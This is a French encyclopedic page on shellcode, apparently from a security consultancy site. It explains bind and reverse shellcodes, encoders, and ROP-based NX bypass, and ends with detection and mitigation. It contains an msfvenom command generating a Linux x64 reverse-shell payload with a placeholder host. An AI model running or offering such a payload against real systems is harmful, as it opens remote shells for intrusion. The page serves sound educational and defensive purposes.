Shellcode
hackingDéfinition
Un shellcode est une séquence de code machine (opcodes en code hexadécimal) injectée dans la mémoire d'un processus vulnérable pour être exécutée lors de l'exploitation d'une vulnérabilité. Le terme 'shellcode' vient du fait que les premiers shellcodes visaient à ouvrir un shell (interpréteur de commandes), mais désigne aujourd'hui tout code machine injecté lors d'une exploitation. Les shellcodes se divisent en plusieurs catégories selon leur mode de communication : les shellcodes de liaison (bindshell) ouvrent un port TCP sur le système cible et attendent une connexion entrante de l'attaquant ; les shellcodes inverses (reverse shell) établissent une connexion TCP sortante vers l'attaquant (plus utile en pratique car les pare-feux autorisent généralement le trafic sortant) ; et les shellcodes locaux exécutent une action locale (créer un utilisateur, lancer un programme, exécuter une commande). Les contraintes sur les shellcodes varient selon le contexte d'exploitation : certaines vulnérabilités n'acceptent que des caractères ASCII imprimables (alphanumeric shellcodes), d'autres évitent les octets nuls (null-byte free shellcodes), certains doivent être très courts pour tenir dans un petit buffer. Ces contraintes nécessitent des encodages spécifiques : les encodeurs de Metasploit (shikata_ga_nai, xor encoder) transforment un shellcode arbitraire en un shellcode satisfaisant les contraintes tout en décodant automatiquement le payload original lors de l'exécution. L'écriture de shellcode est une discipline spécialisée de la programmation assembleur : le shellcode ne peut pas utiliser de liens vers des bibliothèques externes, ne connaît pas à l'avance les adresses mémoire, et doit être entièrement position-independent (PIC). Il utilise des call/pop tricks pour trouver son propre adresse, et des techniques de résolution dynamique de fonctions via le PEB (Process Environment Block) sur Windows ou la recherche de symbols via la GOT/PLT sur Linux. Des frameworks comme Metasploit (msfvenom) et pwntools simplifient la génération de shellcodes pour diverses plateformes et architectures (x86, x64, ARM, MIPS). Des tests locaux avec des débogueurs (GDB, x64dbg, WinDbg) permettent de valider le shellcode avant déploiement en conditions réelles.
Fonctionnement
Un reverse shell shellcode x64 Linux minimal effectue : 1) socket(AF_INET, SOCK_STREAM, 0) via syscall, 2) connect() vers l'attaquant:port, 3) dup2() pour rediriger stdin/stdout/stderr vers le socket, 4) execve('/bin/sh') pour lancer le shell. Ces syscalls directs évitent les dépendances vers des bibliothèques. msfvenom génère des shellcodes similaires : msfvenom -p linux/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f c.
Exploitation offensive
Les shellcodes sont injectés via des vulnérabilités mémoire (buffer overflow, use-after-free, format string) dans la zone de données du processus (généralement non-exécutable avec NX/DEP). Des techniques de contournement NX (ROP, ret2libc, ROP pour appeler mprotect()) permettent de rendre la zone contenant le shellcode exécutable ou d'exécuter le shellcode via des gadgets ROP.
Détection et mitigation
Les EDR analysent les patterns de shellcode en mémoire (signatures, entropie élevée de code dans des zones de données). L'activation de NX/DEP empêche l'exécution directe de shellcode dans les zones de données. ASLR randomise les adresses pour compliquer l'ingénierie de shellcodes. Les scanners YARA détectent des shellcodes connus et des patterns caractéristiques (call/pop tricks, séquences d'opcodes de connexion réseau).
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés. 2.1.7
Un projet cybersécurité ?
Expert dispo · Réponse 24h